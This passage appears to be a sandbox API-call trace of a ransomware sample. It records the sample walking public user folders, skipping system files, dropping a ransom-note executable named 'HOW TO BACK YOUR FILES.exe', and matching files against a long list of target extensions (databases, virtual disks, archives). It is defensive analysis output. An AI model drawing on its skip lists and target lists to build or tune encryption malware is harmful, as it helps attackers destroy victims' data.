	[0036.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0036.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2c) returned 0x5b7e28
	[0036.735] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bf0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bf0) returned 0x5b7bd0
	[0036.735] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2da1a730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da1a730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2=".") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="..") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="windows") returned -1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="bootmgr") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="temp") returned -1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="pagefile.sys") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="boot") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="ids.txt") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="ntuser.dat") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="perflogs") returned 1
	[0036.735] lstrcmpiW (lpString1="Pictures", lpString2="MSBuild") returned 1
	[0036.735] lstrlenW (lpString="Pictures") returned 8
	[0036.735] lstrlenW (lpString="C:\\Users\\Public\\Music") returned 21
	[0036.735] lstrcpyW (in: lpString1=0x119e628, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures"
	[0036.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0036.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca110
	[0036.735] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7bf0
	[0036.735] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d95c050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d95c050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1
	[0036.735] lstrcmpiW (lpString1="Recorded TV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.735] lstrcmpiW (lpString1="Recorded TV", lpString2="Apollon865.txt.exe") returned 1
	[0036.735] lstrcmpiW (lpString1="Recorded TV", lpString2=".") returned 1
	[0036.735] lstrcmpiW (lpString1="Recorded TV", lpString2="..") returned 1
	[0036.735] lstrcmpiW (lpString1="Recorded TV", lpString2="windows") returned -1
	[0036.735] lstrcmpiW (lpString1="Recorded TV", lpString2="bootmgr") returned 1
	[0036.735] lstrcmpiW (lpString1="Recorded TV", lpString2="temp") returned -1
	[0036.736] lstrcmpiW (lpString1="Recorded TV", lpString2="pagefile.sys") returned 1
	[0036.736] lstrcmpiW (lpString1="Recorded TV", lpString2="boot") returned 1
	[0036.736] lstrcmpiW (lpString1="Recorded TV", lpString2="ids.txt") returned 1
	[0036.736] lstrcmpiW (lpString1="Recorded TV", lpString2="ntuser.dat") returned 1
	[0036.736] lstrcmpiW (lpString1="Recorded TV", lpString2="perflogs") returned 1
	[0036.736] lstrcmpiW (lpString1="Recorded TV", lpString2="MSBuild") returned 1
	[0036.736] lstrlenW (lpString="Recorded TV") returned 11
	[0036.736] lstrlenW (lpString="C:\\Users\\Public\\Pictures") returned 24
	[0036.736] lstrcpyW (in: lpString1=0x119e628, lpString2="Recorded TV" | out: lpString1="Recorded TV") returned="Recorded TV"
	[0036.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0036.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca450
	[0036.736] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b7c10
	[0036.736] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8e9c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8e9c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="Apollon865.txt.exe") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2=".") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="..") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="windows") returned -1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="bootmgr") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="temp") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="pagefile.sys") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="boot") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="ids.txt") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="ntuser.dat") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="perflogs") returned 1
	[0036.736] lstrcmpiW (lpString1="Videos", lpString2="MSBuild") returned 1
	[0036.736] lstrlenW (lpString="Videos") returned 6
	[0036.736] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV") returned 27
	[0036.736] lstrcpyW (in: lpString1=0x119e628, lpString2="Videos" | out: lpString1="Videos") returned="Videos"
	[0036.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0036.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7e60
	[0036.736] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c50 | out: ListHead=0x5b75f0, ListEntry=0x5b7c50) returned 0x5b7c30
	[0036.736] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8e9c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8e9c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0036.736] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0036.736] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c50
	[0036.737] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos"
	[0036.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e60 | out: hHeap=0x580000) returned 1
	[0036.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0036.737] lstrlenW (lpString="C:\\Users\\Public\\Videos") returned 22
	[0036.737] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos"
	[0036.737] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.737] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.737] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0036.737] GetLastError () returned 0x20
	[0036.737] Sleep (dwMilliseconds=0xc8) 
	[0036.953] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0036.954] GetLastError () returned 0x0
	[0036.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.954] ReadFile (in: hFile=0x120, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.954] CloseHandle (hObject=0x120) returned 1
	[0036.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.954] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.954] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8e9c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8e9c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0036.954] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.954] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.954] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.954] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8e9c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8e9c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.954] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.954] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.954] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.954] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.954] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.954] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.954] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.954] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.954] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.954] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.954] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.955] lstrlenW (lpString="desktop.ini") returned 11
	[0036.955] lstrlenW (lpString="C:\\Users\\Public\\Videos\\*") returned 24
	[0036.955] lstrcpyW (in: lpString1=0x119e636, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.955] lstrlenW (lpString="desktop.ini") returned 11
	[0036.955] lstrlenW (lpString="Apollon865") returned 10
	[0036.955] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.955] lstrlenW (lpString=".dll") returned 4
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.955] lstrlenW (lpString=".lnk") returned 4
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.955] lstrlenW (lpString=".ini") returned 4
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.955] lstrlenW (lpString=".sys") returned 4
	[0036.955] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.955] lstrlenW (lpString="desktop.ini") returned 11
	[0036.955] lstrlenW (lpString="bak") returned 3
	[0036.955] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.955] lstrlenW (lpString="ba_") returned 3
	[0036.955] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.955] lstrlenW (lpString="dbb") returned 3
	[0036.955] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.955] lstrlenW (lpString="vmdk") returned 4
	[0036.955] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.955] lstrlenW (lpString="rar") returned 3
	[0036.955] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.955] lstrlenW (lpString="zip") returned 3
	[0036.955] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.955] lstrlenW (lpString="tgz") returned 3
	[0036.955] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.955] lstrlenW (lpString="vbox") returned 4
	[0036.956] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.956] lstrlenW (lpString="vdi") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.956] lstrlenW (lpString="vhd") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.956] lstrlenW (lpString="vhdx") returned 4
	[0036.956] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.956] lstrlenW (lpString="avhd") returned 4
	[0036.956] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.956] lstrlenW (lpString="db") returned 2
	[0036.956] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.956] lstrlenW (lpString="db2") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.956] lstrlenW (lpString="db3") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.956] lstrlenW (lpString="dbf") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.956] lstrlenW (lpString="mdf") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.956] lstrlenW (lpString="mdb") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.956] lstrlenW (lpString="sql") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.956] lstrlenW (lpString="sqlite") returned 6
	[0036.956] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.956] lstrlenW (lpString="sqlite3") returned 7
	[0036.956] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.956] lstrlenW (lpString="sqlitedb") returned 8
	[0036.956] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.956] lstrlenW (lpString="xml") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.956] lstrlenW (lpString="$er") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.956] lstrlenW (lpString="4dd") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.956] lstrlenW (lpString="4dl") returned 3
	[0036.956] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.957] lstrlenW (lpString="^^^") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.957] lstrlenW (lpString="abs") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.957] lstrlenW (lpString="abx") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.957] lstrlenW (lpString="accdb") returned 5
	[0036.957] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.957] lstrlenW (lpString="accdc") returned 5
	[0036.957] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.957] lstrlenW (lpString="accde") returned 5
	[0036.957] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.957] lstrlenW (lpString="accdr") returned 5
	[0036.957] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.957] lstrlenW (lpString="accdt") returned 5
	[0036.957] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.957] lstrlenW (lpString="accdw") returned 5
	[0036.957] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.957] lstrlenW (lpString="accft") returned 5
	[0036.957] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.957] lstrlenW (lpString="adb") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.957] lstrlenW (lpString="adb") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.957] lstrlenW (lpString="ade") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.957] lstrlenW (lpString="adf") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.957] lstrlenW (lpString="adn") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.957] lstrlenW (lpString="adp") returned 3
	[0036.957] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.958] lstrlenW (lpString="alf") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.958] lstrlenW (lpString="ask") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.958] lstrlenW (lpString="btr") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.958] lstrlenW (lpString="cat") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.958] lstrlenW (lpString="cdb") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.958] lstrlenW (lpString="ckp") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.958] lstrlenW (lpString="cma") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.958] lstrlenW (lpString="cpd") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.958] lstrlenW (lpString="dacpac") returned 6
	[0036.958] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.958] lstrlenW (lpString="dad") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.958] lstrlenW (lpString="dadiagrams") returned 10
	[0036.958] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.958] lstrlenW (lpString="daschema") returned 8
	[0036.958] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.958] lstrlenW (lpString="db-journal") returned 10
	[0036.958] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.958] lstrlenW (lpString="db-shm") returned 6
	[0036.958] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.958] lstrlenW (lpString="db-wal") returned 6
	[0036.958] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.958] lstrlenW (lpString="dbc") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.958] lstrlenW (lpString="dbs") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.958] lstrlenW (lpString="dbt") returned 3
	[0036.958] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.958] lstrlenW (lpString="dbv") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.959] lstrlenW (lpString="dbx") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.959] lstrlenW (lpString="dcb") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.959] lstrlenW (lpString="dct") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.959] lstrlenW (lpString="dcx") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.959] lstrlenW (lpString="ddl") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.959] lstrlenW (lpString="dlis") returned 4
	[0036.959] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.959] lstrlenW (lpString="dp1") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.959] lstrlenW (lpString="dqy") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.959] lstrlenW (lpString="dsk") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.959] lstrlenW (lpString="dsn") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.959] lstrlenW (lpString="dtsx") returned 4
	[0036.959] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.959] lstrlenW (lpString="dxl") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.959] lstrlenW (lpString="eco") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.959] lstrlenW (lpString="ecx") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.959] lstrlenW (lpString="edb") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.959] lstrlenW (lpString="epim") returned 4
	[0036.959] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.959] lstrlenW (lpString="fcd") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.959] lstrlenW (lpString="fdb") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.959] lstrlenW (lpString="fic") returned 3
	[0036.959] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.960] lstrlenW (lpString="flexolibrary") returned 12
	[0036.960] lstrlenW (lpString="fm5") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.960] lstrlenW (lpString="fmp") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.960] lstrlenW (lpString="fmp12") returned 5
	[0036.960] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.960] lstrlenW (lpString="fmpsl") returned 5
	[0036.960] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.960] lstrlenW (lpString="fol") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.960] lstrlenW (lpString="fp3") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.960] lstrlenW (lpString="fp4") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.960] lstrlenW (lpString="fp5") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.960] lstrlenW (lpString="fp7") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.960] lstrlenW (lpString="fpt") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.960] lstrlenW (lpString="frm") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.960] lstrlenW (lpString="gdb") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.960] lstrlenW (lpString="gdb") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.960] lstrlenW (lpString="grdb") returned 4
	[0036.960] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.960] lstrlenW (lpString="gwi") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.960] lstrlenW (lpString="hdb") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.960] lstrlenW (lpString="his") returned 3
	[0036.960] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.960] lstrlenW (lpString="ib") returned 2
	[0036.960] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.960] lstrlenW (lpString="idb") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.961] lstrlenW (lpString="ihx") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.961] lstrlenW (lpString="itdb") returned 4
	[0036.961] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.961] lstrlenW (lpString="itw") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.961] lstrlenW (lpString="jet") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.961] lstrlenW (lpString="jtx") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.961] lstrlenW (lpString="kdb") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.961] lstrlenW (lpString="kexi") returned 4
